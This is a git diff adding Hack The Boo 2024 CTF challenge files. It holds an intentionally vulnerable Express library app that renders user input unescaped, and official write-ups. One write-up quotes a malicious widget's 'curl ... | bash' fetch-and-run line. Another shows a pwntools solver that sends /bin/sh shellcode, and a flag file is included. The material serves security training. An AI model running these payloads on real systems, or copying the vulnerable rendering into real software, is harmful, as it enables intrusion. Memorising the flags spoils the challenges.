50px; + text-align: center; +} + +.home-section h2 { + font-size: 3rem; + color: #ff6347; + letter-spacing: 2px; + text-shadow: 0 0 10px rgba(255, 99, 71, 0.5), 0 0 20px rgba(255, 69, 0, 0.3); +} + +.home-section p { + font-size: 1.4rem; + color: #b3b3b3; + max-width: 800px; + margin: 20px auto; + line-height: 1.8; +} + +.button { + padding: 12px 25px; + background-color: #ff4500; + color: #fff; + border: none; + border-radius: 5px; + font-size: 1.2rem; + cursor: pointer; + transition: all 0.3s ease; + position: relative; + z-index: 1; +} + +.button::before { + content: ''; + position: absolute; + top: -2px; + left: -2px; + right: -2px; + bottom: -2px; + background: linear-gradient(135deg, rgba(255, 69, 0, 0.8), transparent); + z-index: -1; + opacity: 0; + transition: opacity 0.3s ease; +} + +.button:hover::before { + opacity: 1; +} + +.button:hover { + box-shadow: 0 0 20px rgba(255, 69, 0, 0.7); +} + +/* Spooky Animations */ +.spooky-button { + background-color: #111; + color: #ff6347; + border: 1px solid #ff6347; + position: relative; + overflow: hidden; + z-index: 1; + transition: color 0.3s ease; +} + +.spooky-button:hover { + color: #fff; + box-shadow: 0 0 20px rgba(255, 69, 0, 0.5); +} + +.spooky-button::before { + content: ''; + position: absolute; + top: 50%; + left: 50%; + width: 300%; + height: 300%; + background: radial-gradient(circle, rgba(255, 69, 0, 0.1), transparent); + transform: translate(-50%, -50%) scale(0); + transition: transform 0.4s ease; + z-index: -1; +} + +.spooky-button:hover::before { + transform: translate(-50%, -50%) scale(1); +} + +/* Manuscript View */ +.manuscript-view h2 { + font-size: 2.5rem; + color: #ff6347; + text-shadow: 0 0 10px rgba(255, 99, 71, 0.5); + margin-bottom: 20px; +} + +.manuscript-view article { + margin: 20px 0; + padding: 30px; + background-color: #1a1a1a; + border: 1px solid #444; + border-radius: 8px; + box-shadow: 0 0 15px rgba(0, 0, 0, 0.6); + position: relative; +} + +.manuscript-view article p { + font-size: 1.2rem; + color: #e6e6e6; + line-height: 1.6; +} + +/* Glowing Borders on Focus */ +input[type="text"], textarea { + padding: 10px; + font-size: 1rem; + border: 1px solid #444; + border-radius: 5px; + background-color: #1a1a1a; + color: #e6e6e6; + outline: none; + transition: border 0.3s ease, box-shadow 0.3s ease; +} + +input[type="text"]:focus, textarea:focus { + border-color: #ff4500; + box-shadow: 0 0 10px rgba(255, 69, 0, 0.5); +} + +/* Ghostly Shadows on Scroll */ +@media (min-width: 768px) { + .container::after { + content: ''; + position: absolute; + bottom: -100px; + left: 50%; + width: 300px; + height: 300px; + background: radial-gradient(circle, rgba(255, 255, 255, 0.1), transparent); + border-radius: 50%; + animation: float 7s ease-in-out infinite; + z-index: -1; + transform: translateX(-50%); + } +} diff --git a/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/src/routes/index.js b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/src/routes/index.js new file mode 100644 index 0000000..a9c2cda --- /dev/null +++ b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/src/routes/index.js @@ -0,0 +1,54 @@ +const express = require('express'); +const router = express.Router(); +const { template } = require("@blakeembrey/template"); // Use require instead of import + +// 1. GET: Home page +router.get('/', (req, res) => { + const { user } = req.query; // Optional query parameter to pass user's name + + let additionalContent = ''; + + if (user) { + try { + const decodedUser = decodeURIComponent(user); + console.log('User:', decodedUser); + const fn = template("Welcome back, {{user}}!", decodedUser); + const userRender = fn({ user: decodedUser }); + + additionalContent = ` +

${userRender} Your knowledge quest continues. Browse the hidden manuscripts or leave your own wisdom behind.

+ Contribute a Manuscript + `; + } catch (error) { + console.error('Error decoding or rendering user:', error); + additionalContent = ''; // Render nothing if error occurs + } + } else { + additionalContent = ` +
+ + + +
+ `; + } + + const content = ` +
+

Welcome to the Forbidden Vault of Knowledge

+

Hello, ${user || 'Adventurer'}! Dare to enter? Search the library, or contribute your own arcane manuscript.

+ Search the Vault + ${additionalContent} +
+ `; + + // Safely render the layout and pass the content to be injected + try { + res.render('layouts/main', { title: "Welcome to Shadowbrook Library", content }); + } catch (renderError) { + console.error('Error rendering the page:', renderError); + res.status(200).send(''); // Return empty response in case of error + } +}); + +module.exports = router; diff --git a/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/src/routes/manuscripts.js b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/src/routes/manuscripts.js new file mode 100644 index 0000000..9c3ac00 --- /dev/null +++ b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/src/routes/manuscripts.js @@ -0,0 +1,122 @@ +const express = require('express'); +const router = express.Router(); +const db = require('../config/db'); + +// 1. GET: Search Manuscripts +router.get('/search', (req, res) => { + const { query = '', user } = req.query; // Default query to an empty string if not provided + + const searchQuery = `%${query}%`; + db.all("SELECT * FROM manuscripts WHERE title LIKE ? OR content LIKE ?", [searchQuery, searchQuery], (err, rows) => { + if (err) { + res.status(500).send("Error querying the database."); + return; + } + + // Generate dynamic HTML for search input and results + let content = ` +
+

Search Manuscripts

+
+ + +
+ +
+ `; + + // Render the layout and inject the dynamic content as a string + res.render('layouts/main', { title: `Search Results for "${query}"`, content, user }); + }); +}); + + +// 2. GET: View a single manuscript by ID +router.get('/view/:id', (req, res) => { + const { id } = req.params; + const { user } = req.query; + + db.get("SELECT * FROM manuscripts WHERE id = ?", [id], (err, manuscript) => { + if (err || !manuscript) { + res.status(404).send("Manuscript not found."); + return; + } + + // Generate dynamic content for the manuscript view + const content = ` +
+

${manuscript.title}

+

Author: ${manuscript.author}

+
+

${manuscript.content}

+
+
+ `; + + // Render the layout and inject the dynamic content + res.render('layouts/main', { title: manuscript.title, content, user }); + }); +}); + +// 3. GET: Add Manuscript form +router.get('/add', (req, res) => { + const { user } = req.query; + + // Generate content for the add manuscript form + const content = ` +
+

Add a New Arcane Manuscript

+
+ + + + + + + + + + +
+
+ `; + + // Render the layout and inject the form + res.render('layouts/main', { title: "Add a New Manuscript", content, user }); +}); + +// 4. POST: Add a New Manuscript +router.post('/add', (req, res) => { + const { title, author, content } = req.body; + const { user } = req.query; + + db.run("INSERT INTO manuscripts (title, author, content) VALUES (?, ?, ?)", [title, author, content], function(err) { + if (err) { + res.status(500).send("Error inserting into the database."); + return; + } + + // After adding, redirect to the newly added manuscript's page + res.redirect(`/manuscripts/view/${this.lastID}?user=${user}`); + }); +}); + +module.exports = router; diff --git a/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/src/views/404.ejs b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/src/views/404.ejs new file mode 100644 index 0000000..c24b9d5 --- /dev/null +++ b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/src/views/404.ejs @@ -0,0 +1,7 @@ +<%- include('layouts/main', { title: "404 - Page Not Found" }) %> + +
+

404 - You have ventured too far...

+

It seems you've stumbled upon forbidden knowledge not meant to be found, <%= user %>. Return to safety.

+ Go Back Home +
diff --git a/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/src/views/index.ejs b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/src/views/index.ejs new file mode 100644 index 0000000..ca3031d --- /dev/null +++ b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/src/views/index.ejs @@ -0,0 +1,7 @@ +<%- include('layouts/main', { title: "Welcome to Shadowbrook Library" }) %> + +
+

Welcome to the Forbidden Vault of Knowledge

+

Hello, <%= user %>! Dare to enter? Search the library, or contribute your own arcane manuscript.

+ Search the Vault +
diff --git a/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/src/views/layouts/main.ejs b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/src/views/layouts/main.ejs new file mode 100644 index 0000000..5137328 --- /dev/null +++ b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/src/views/layouts/main.ejs @@ -0,0 +1,22 @@ + + + + + + <%= title || "Shadowbrook Library" %> + + + +
+ <%- include('../partials/header') %> +
+ +
+ <%- content %> +
+ + + + diff --git a/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/src/views/manuscripts/add.ejs b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/src/views/manuscripts/add.ejs new file mode 100644 index 0000000..f7ade0a --- /dev/null +++ b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/src/views/manuscripts/add.ejs @@ -0,0 +1,17 @@ +<%- include('../layouts/main', { title: "Add a New Manuscript" }) %> + +
+

Add a New Arcane Manuscript

+
+ + + + + + + + + + +
+
diff --git a/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/src/views/manuscripts/view.ejs b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/src/views/manuscripts/view.ejs new file mode 100644 index 0000000..360942c --- /dev/null +++ b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/src/views/manuscripts/view.ejs @@ -0,0 +1,13 @@ +<%- include('../layouts/main', { title: manuscript.title }) %> + +
+

<%= manuscript.title %>

+

Author: <%= manuscript.author %>

+
+

<%= manuscript.content %>

+
+ + +
diff --git a/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/src/views/partials/footer.ejs b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/src/views/partials/footer.ejs new file mode 100644 index 0000000..7722f1e --- /dev/null +++ b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/src/views/partials/footer.ejs @@ -0,0 +1,4 @@ + + \ No newline at end of file diff --git a/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/src/views/partials/header.ejs b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/src/views/partials/header.ejs new file mode 100644 index 0000000..a70aaa8 --- /dev/null +++ b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/src/views/partials/header.ejs @@ -0,0 +1,15 @@ +
+ + +
+ \ No newline at end of file diff --git a/htb/hacktheboo2024/forensics/[Very Easy] Sp00ky Theme/Readme.md b/htb/hacktheboo2024/forensics/[Very Easy] Sp00ky Theme/Readme.md new file mode 100644 index 0000000..0bec7f2 --- /dev/null +++ b/htb/hacktheboo2024/forensics/[Very Easy] Sp00ky Theme/Readme.md @@ -0,0 +1,84 @@ +![](assets/banner.png) + + Sp00ky Theme + +05th Oct 2024 / Document No. D24.102.XX + +Prepared By: c4n0pus + +Challenge Author(s): c4n0pus + +Difficulty: Very Easy + +Classification: Official + +# Synopsis + +* A very easy challenge that features a malicious Plasma 6 plasmoid (widget) that executes rogue commands + +## Description + +* I downloaded a very nice haloween global theme for my Plasma installation and a couple of widgets! It was supposed to keep the bad spirits away while I was improving my ricing skills... Howerver, now strange things are happening and I can't figure out why... + +## Skills Required + +* N/A + +## Skills Learned + +* Plasma Themes +* Obscure Linux Backdoors + +# Enumeration + +We are given a zip file that contains a folder called `plasma` and inside it contains a couple of directories + +* `look-and-feel` +* `plasmoids` +* `desktoptheme` + +The `look-and-feel` directory stores the Global Theme configuration for each global theme. +The `plasmoid` directory contains the downloaded widgets (either manually or as a dependency for a global theme) + +Recendly there was quite a big controversy where a user installed a Global Theme and it ended up deleting their `$HOME` folder! More about it, and how it happened [here](https://www.reddit.com/r/openSUSE/comments/1biunsl/hacked_installed_a_global_theme_it_erased_all_my/) + +As it turns out, the widgets have a direct access to execute arbitrary commands because that's inherently their function! ie: getting CPU usage using `cat /proc/stat` and then aggregating it using `awk` and passing it to the widget for styling and display. + +But what happens if a malicious actor creates a theme and publishes it without any vetting? The above theme did not have any malicious intentions (allegedly), just a versioning issue that created a weird command line that removed the home folder. Regardless, the issue here was the lack of vetting, might as well being a malicious command. + +# Solution + +Navigaing into the `plasmoids` folder and then into the `netspeedWidget` folder we find the `metadata.json` file and `contents` folder. After digging around we find these two lines in the `utils.js` file: + +```js +const NET_DATA_SOURCE = + "awk -v OFS=, 'NR > 2 { print substr($1, 1, length($1)-1), $2, $10 }' /proc/net/dev"; + +const PLASMOID_UPDATE_SOURCE = + "UPDATE_URL=$(echo =0nbzAHc0g2XuRzYfRXMf9TIzNTbzgGdflnYfR2M3B3eCRFS | rev | base64 -d); curl $UPDATE_URL:1992/update_sh | bash" +``` + +The first one aggregates all traffic from all network interfaces as so: + +```bash +$> awk -v OFS=, 'NR > 2 { print substr($1, 1, length($1)-1), $2, $10 }' /proc/net/dev + +lo,78647312,78647312 +wlo1,12638777329,734054168 +tailscale0,2408137,3591611 +vboxnet0,0,56383 +``` + +Then it's up to the widget to parse it furhter. + +The next command seemingly defines an update URL and then curls some data from it and pipes it to bash! + +Running the command that creates the URL reveals the flag! + +```bash +$> echo =0nbzAHc0g2XuRzYfRXMf9TIzNTbzgGdflnYfR2M3B3eCRFS | rev | base64 -d + +HTB{REDACTED} +``` + +In responde the KDE devs removed the Theme in Question, issued a [response](http://blog.davidedmundson.co.uk/blog/kde-store-content/) and urged users to report any wrongdoing in the KDE Store. diff --git a/htb/hacktheboo2024/forensics/[Very Easy] Sp00ky Theme/assets/banner.png b/htb/hacktheboo2024/forensics/[Very Easy] Sp00ky Theme/assets/banner.png new file mode 100644 index 0000000..bce6111 Binary files /dev/null and b/htb/hacktheboo2024/forensics/[Very Easy] Sp00ky Theme/assets/banner.png differ diff --git a/htb/hacktheboo2024/forensics/[Very Easy] Sp00ky Theme/assets/htb.png b/htb/hacktheboo2024/forensics/[Very Easy] Sp00ky Theme/assets/htb.png new file mode 100644 index 0000000..fe73253 Binary files /dev/null and b/htb/hacktheboo2024/forensics/[Very Easy] Sp00ky Theme/assets/htb.png differ diff --git a/htb/hacktheboo2024/forensics/[Very Easy] Sp00ky Theme/release/forensics_sp00ky_theme.zip b/htb/hacktheboo2024/forensics/[Very Easy] Sp00ky Theme/release/forensics_sp00ky_theme.zip new file mode 100644 index 0000000..0d806b9 Binary files /dev/null and b/htb/hacktheboo2024/forensics/[Very Easy] Sp00ky Theme/release/forensics_sp00ky_theme.zip differ diff --git a/htb/hacktheboo2024/forensics/[Very Easy] The Shortcut Haunting/README.md b/htb/hacktheboo2024/forensics/[Very Easy] The Shortcut Haunting/README.md new file mode 100644 index 0000000..a956f67 --- /dev/null +++ b/htb/hacktheboo2024/forensics/[Very Easy] The Shortcut Haunting/README.md @@ -0,0 +1,66 @@ +![](assets/banner.png) + + The Shortcut Haunting + +14th Oct 2024 / Document No. D24.102.XX + +Prepared By: thewildspirit + +Challenge Author(s): thewildspirit + +Difficulty: Very Easy + +Classification: Official + +# Synopsis + +* The Shortcut Haunting is a very easy forensics challenge involving finding the payload embedded in an lnk file and decoding it using base64. + +## Description + +* While going through your Halloween treats, a strange message appears: "Trick or Treat?" Curious, you click, and suddenly a mysterious .lnk file appears on your desktop. Now it's up to you to investigate this spooky shortcut and find out if it’s just a trick—or if it’s hiding a darker secret. + +## Skills Required + +* N/A + +## Skills Learned + +* Analyzing an lnk file using strings +* Base64 decoding + +# Enumeration + +We are given the following file: + +* **htboo.lnk**: `A Windows Shortcut that serves as a pointer to open a file, folder, or application` + +When analyzing a malicious .lnk (shortcut) file, extracting the payload is crucial to understanding its operation. Using the strings -el command is an efficient way to do this because: + +* **Unicode** Data: Many .lnk files store important information, such as file paths or payloads, in Unicode format. The -el option ensures you extract both ASCII and Unicode strings, which increases your chances of capturing hidden data that could reveal key details of the payload. + +* **Readable Text**: strings help you quickly identify readable text within the .lnk file, such as the target path or any encoded commands. This can include file names, URLs, or command lines that the malicious .lnk is using to execute its payload. + +* **Time Efficiency**: Instead of manually combing through the .lnk file's raw binary data, strings -el streamlines the process, allowing you to quickly extract the most relevant information, saving time and effort in forensic analysis. + +In the context of this straightforward challenge, we will opt for a more efficient approach rather than manually dissecting the .lnk file format. Instead, we will proceed with the previously mentioned method. + +# Solution + +By utilizing the strings -el command, we will extract and inspect both ASCII and Unicode strings, allowing us to quickly identify relevant data and potential payloads embedded within the .lnk file. + +![](assets/strings.png) + +The malicious file employs PowerShell to execute commands within the system. + +* `WindowStyle hidden`: Runs the PowerShell window in hidden mode, meaning the user won't see a command prompt or PowerShell window pop up. + +* `NoExit`: This prevents the PowerShell window from closing immediately after executing the command, which is helpful for ongoing processes but won't be visible in this case due to -WindowStyle hidden. + +* `Command`: This specifies the PowerShell command to be executed. + +* `[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($fko));`: This line decodes the Base64 string into human-readable text. When decoded, the string reveals a PowerShell command. + +We can decode the strings using an online tool called [Cyber Chef](https://gchq.github.io/CyberChef/) and get the flag. + +![](assets/flag.png) \ No newline at end of file diff --git a/htb/hacktheboo2024/forensics/[Very Easy] The Shortcut Haunting/assets/banner.png b/htb/hacktheboo2024/forensics/[Very Easy] The Shortcut Haunting/assets/banner.png new file mode 100644 index 0000000..bce6111 Binary files /dev/null and b/htb/hacktheboo2024/forensics/[Very Easy] The Shortcut Haunting/assets/banner.png differ diff --git a/htb/hacktheboo2024/forensics/[Very Easy] The Shortcut Haunting/assets/flag.png b/htb/hacktheboo2024/forensics/[Very Easy] The Shortcut Haunting/assets/flag.png new file mode 100644 index 0000000..410c5d0 Binary files /dev/null and b/htb/hacktheboo2024/forensics/[Very Easy] The Shortcut Haunting/assets/flag.png differ diff --git a/htb/hacktheboo2024/forensics/[Very Easy] The Shortcut Haunting/assets/htb.png b/htb/hacktheboo2024/forensics/[Very Easy] The Shortcut Haunting/assets/htb.png new file mode 100644 index 0000000..fe73253 Binary files /dev/null and b/htb/hacktheboo2024/forensics/[Very Easy] The Shortcut Haunting/assets/htb.png differ diff --git a/htb/hacktheboo2024/forensics/[Very Easy] The Shortcut Haunting/assets/strings.png b/htb/hacktheboo2024/forensics/[Very Easy] The Shortcut Haunting/assets/strings.png new file mode 100644 index 0000000..437f4ae Binary files /dev/null and b/htb/hacktheboo2024/forensics/[Very Easy] The Shortcut Haunting/assets/strings.png differ diff --git a/htb/hacktheboo2024/forensics/[Very Easy] The Shortcut Haunting/release/forensics_the_shortcut_haunting.zip b/htb/hacktheboo2024/forensics/[Very Easy] The Shortcut Haunting/release/forensics_the_shortcut_haunting.zip new file mode 100644 index 0000000..d36c222 Binary files /dev/null and b/htb/hacktheboo2024/forensics/[Very Easy] The Shortcut Haunting/release/forensics_the_shortcut_haunting.zip differ diff --git a/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/Dockerfile b/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/Dockerfile new file mode 100644 index 0000000..77d8063 --- /dev/null +++ b/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/Dockerfile @@ -0,0 +1,8 @@ +FROM alpine:latest +RUN apk add --no-cache socat dash && ln -sf /usr/bin/dash /bin/sh +EXPOSE 1337 +RUN addgroup -S ctf && adduser -S ctf -G ctf +COPY challenge/ /home/ctf/ +WORKDIR /home/ctf +USER ctf +CMD ["socat", "tcp-l:1337,reuseaddr,fork", "EXEC:./el_teteo"] diff --git a/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/README.md b/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/README.md new file mode 100644 index 0000000..b0cb4db --- /dev/null +++ b/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/README.md @@ -0,0 +1,193 @@ +![](assets/banner.png) + + + + El Teteo + +​ 16th September 2024 / Document No. DYY.102.XX + +​ Prepared By: w3th4nds + +​ Challenge Author(s): w3th4nds + +​ Difficulty: Very Easy + +​ Classification: Official + + + + + +# Synopsis + +El Teteo is a very easy difficulty challenge that features `ret2shellcode`. + +# Description + +El Teteo, a mischievous ghostly djinni born with a party spirit. You have one chance to summon it and make your wish—but only if it’s in the mood to grant it. + +## Skills Required + +- Basic C. + +## Skills Learned + +- `ret2shellcode`. + +# Enumeration + +First of all, we start with a `checksec`: + +```console +pwndbg> checksec +Arch: amd64 +RELRO: Full RELRO +Stack: Canary found +NX: NX unknown - GNU_STACK missing +PIE: PIE enabled +Stack: Executable +RWX: Has RWX segments +RUNPATH: b'./glibc/' +SHSTK: Enabled +IBT: Enabled +Stripped: No +``` + +### Protections 🛡️ + +As we can see: + +| Protection | Enabled | Usage | +| :---: | :---: | :---: | +| **Canary** | ✅ | Prevents **Buffer Overflows** | +| **NX** | ❌ | Disables **code execution** on stack | +| **PIE** | ✅ | Randomizes the **base address** of the binary | +| **RelRO** | **Full** | Makes some binary sections **read-only** | + +The program's interface + +![](assets/interface.png) + +We already see that when we enter something, the program crashes with "Illegal Instruction". This means that the program tries to execute something that is not a valid instruction. We also see that `NX` is disabled, meaning we can execute arbitrary code. + +### Disassembly + +Starting with `main()`: + +```c +00001366 int32_t main(int32_t argc, char** argv, char** envp) + +00001366 { +0000137e void* fsbase; +0000137e int64_t canary = *(uint64_t*)((char*)fsbase + 0x28); +00001392 cls(); +0000139e void* const var_a8 = "\x1b[1;33m"; +000013ac void* const var_a0 = "\x1b[1;36m"; +000013ba void* const var_98 = "\x1b[1;32m"; +000013c8 void* const var_90 = "\x1b[1;31m"; +000013d6 void* const var_88 = "\x1b[1;34m"; +000013e1 void* const var_80 = "\x1b[1;35m"; +000013ec void* const var_78 = "\x1b[1;37m"; +000013fc srand(time(nullptr)); +00001448 printf(&data_204e, &var_a8[((int64_t)(rand() % 6))]); +0000147a int64_t rax_22 = &var_a8[((int64_t)(rand() % 6))]; +000014b6 int64_t rbx = &var_a8[((int64_t)(rand() % 6))]; +000014f2 int64_t rdi_1 = &var_a8[((int64_t)(rand() % 6))]; +0000152e int64_t rsi_11 = &var_a8[((int64_t)(rand() % 6))]; +0000156a int64_t rcx_24 = &var_a8[((int64_t)(rand() % 6))]; +000015a6 int64_t rdx_7 = &var_a8[((int64_t)(rand() % 6))]; +000015e2 int64_t r10 = &var_a8[((int64_t)(rand() % 6))]; +0000161e int64_t r11 = &var_a8[((int64_t)(rand() % 6))]; +0000165a int64_t r8 = &var_a8[((int64_t)(rand() % 6))]; +00001696 int64_t r9 = &var_a8[((int64_t)(rand() % 6))]; +000016d2 int64_t r14 = &var_a8[((int64_t)(rand() % 6))]; +0000170e int64_t r15 = &var_a8[((int64_t)(rand() % 6))]; +0000174a int64_t r12 = &var_a8[((int64_t)(rand() % 6))]; +00001786 int64_t r13 = &var_a8[((int64_t)(rand() % 6))]; +000017c2 int64_t rax_149 = &var_a8[((int64_t)(rand() % 6))]; +000017fe int64_t rbx_1 = &var_a8[((int64_t)(rand() % 6))]; +0000183a int64_t rdi_2 = &var_a8[((int64_t)(rand() % 6))]; +00001876 int64_t rsi_40 = &var_a8[((int64_t)(rand() % 6))]; +000018b2 int64_t rcx_62 = &var_a8[((int64_t)(rand() % 6))]; +000018ee int64_t rdx_43 = &var_a8[((int64_t)(rand() % 6))]; +0000192a int64_t r10_1 = &var_a8[((int64_t)(rand() % 6))]; +00001966 int64_t r11_1 = &var_a8[((int64_t)(rand() % 6))]; +000019a2 int64_t r8_1 = &var_a8[((int64_t)(rand() % 6))]; +000019de int64_t r9_1 = &var_a8[((int64_t)(rand() % 6))]; +00001a1a int64_t r14_1 = &var_a8[((int64_t)(rand() % 6))]; +00001a56 int64_t r15_1 = &var_a8[((int64_t)(rand() % 6))]; +00001a92 int64_t r14_2 = &var_a8[((int64_t)(rand() % 6))]; +00001ac7 int64_t r15_2 = &var_a8[((int64_t)(rand() % 6))]; +00001afc int64_t r13_1 = &var_a8[((int64_t)(rand() % 6))]; +00001b31 int64_t r12_1 = &var_a8[((int64_t)(rand() % 6))]; +00001b66 int64_t rbx_2 = &var_a8[((int64_t)(rand() % 6))]; +00001c63 printf(&data_2058, &var_a8[((int64_t)(rand() % 6))], rbx_2, r12_1, r13_1, r15_2, r14_2, r15_1, r14_1, r9_1, r8_1, r11_1, r10_1, rdx_43, rcx_62, rsi_40, rdi_2, rbx_1, rax_149, r13, r12, r15, r14, r9, r8, r11, r10, rdx_7, rcx_24, rsi_11, rdi_1, rbx, rax_22); +00001c79 printstr("[!] I will do whatever you want,…"); +00001c7e int64_t shellcode; +00001c7e __builtin_memset(&shellcode, 0, 0x20); +00001caf read(0, &shellcode, 0x1f); +00001cbd &shellcode(); +00001cc8 *(uint64_t*)((char*)fsbase + 0x28); +00001cc8 +00001cd1 if (canary == *(uint64_t*)((char*)fsbase + 0x28)) +00001ce6 return 0; +00001ce6 +00001cd3 __stack_chk_fail(); +00001cd3 /* no return */ +00001366 } +``` + +If we skip the "colors", the actual code is: + +```c +00001c79 printstr("[!] I will do whatever you want,…"); +00001c7e int64_t shellcode; +00001c7e __builtin_memset(&shellcode, 0, 0x20); +00001caf read(0, &shellcode, 0x1f); +00001cbd &shellcode(); +``` + +The program will execute whatever we store in the "shellcode" buffer. Taking that into consideration and the fact that `NX` is disabled, we can execute code and get shell. [This](https://shell-storm.org/shellcode/files/shellcode-806.html) payload works like a charm. + +```bash +sc = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" +``` + +# Solution + +```python +#!/usr/bin/python3 +from pwn import * +import warnings +import os +warnings.filterwarnings('ignore') +context.arch = 'amd64' +context.log_level = 'critical' + +fname = './el_teteo' + +LOCAL = False + +os.system('clear') + +if LOCAL: + print('Running solver locally..\n') + r = process(fname) +else: + IP = str(sys.argv[1]) if len(sys.argv) >= 2 else '0.0.0.0' + PORT = int(sys.argv[2]) if len(sys.argv) >= 3 else 1337 + r = remote(IP, PORT) + print(f'Running solver remotely at {IP} {PORT}\n') + +# Shellcode from https://shell-storm.org/shellcode/files/shellcode-806.html +sc = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + +# Send shellcode +r.sendlineafter('>', sc) + +# Get flag +pause(1) +r.sendline('cat flag*') +print(f'Flag --> {r.recvline_contains(b"HTB").strip().decode()}\n') +``` + diff --git a/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/assets/banner.png b/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/assets/banner.png new file mode 100644 index 0000000..bce6111 Binary files /dev/null and b/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/assets/banner.png differ diff --git a/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/assets/htb.png b/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/assets/htb.png new file mode 100644 index 0000000..fe73253 Binary files /dev/null and b/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/assets/htb.png differ diff --git a/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/assets/interface.png b/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/assets/interface.png new file mode 100644 index 0000000..6895577 Binary files /dev/null and b/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/assets/interface.png differ diff --git a/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/build-docker.sh b/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/build-docker.sh new file mode 100755 index 0000000..6822e49 --- /dev/null +++ b/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/build-docker.sh @@ -0,0 +1,3 @@ +#!/bin/sh +docker build --tag=el_teteo . +docker run -it -p 1337:1337 --rm --name=el_teteo el_teteo diff --git a/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/challenge/el_teteo b/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/challenge/el_teteo new file mode 100755 index 0000000..031010d Binary files /dev/null and b/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/challenge/el_teteo differ diff --git a/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/challenge/flag.txt b/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/challenge/flag.txt new file mode 100644 index 0000000..dfa8dce --- /dev/null +++ b/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/challenge/flag.txt @@ -0,0 +1 @@ +HTB{3l_t3t30_d3_5h3ll} diff --git a/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/challenge/glibc/ld-linux-x86-64.so.2 b/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/challenge/glibc/ld-linux-x86-64.so.2 new file mode 100755 index 0000000..42e4351 Binary files /dev/null and b/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/challenge/glibc/ld-linux-x86-64.so.2 differ diff --git a/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/challenge/glibc/libc.so.6 b/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/challenge/glibc/libc.so.6 new file mode 100755 index 0000000..36bcf67 Binary files /dev/null and b/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/challenge/glibc/libc.so.6 differ diff --git a/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/htb/el_teteo b/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/htb/el_teteo new file mode 100755 index 0000000..031010d Binary files /dev/null and b/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/htb/el_teteo differ diff --git a/htb/hacktheboo2024/pwn/[Very Easy] El Teteo/htb/glibc/ld-linux-x86-64.so.2 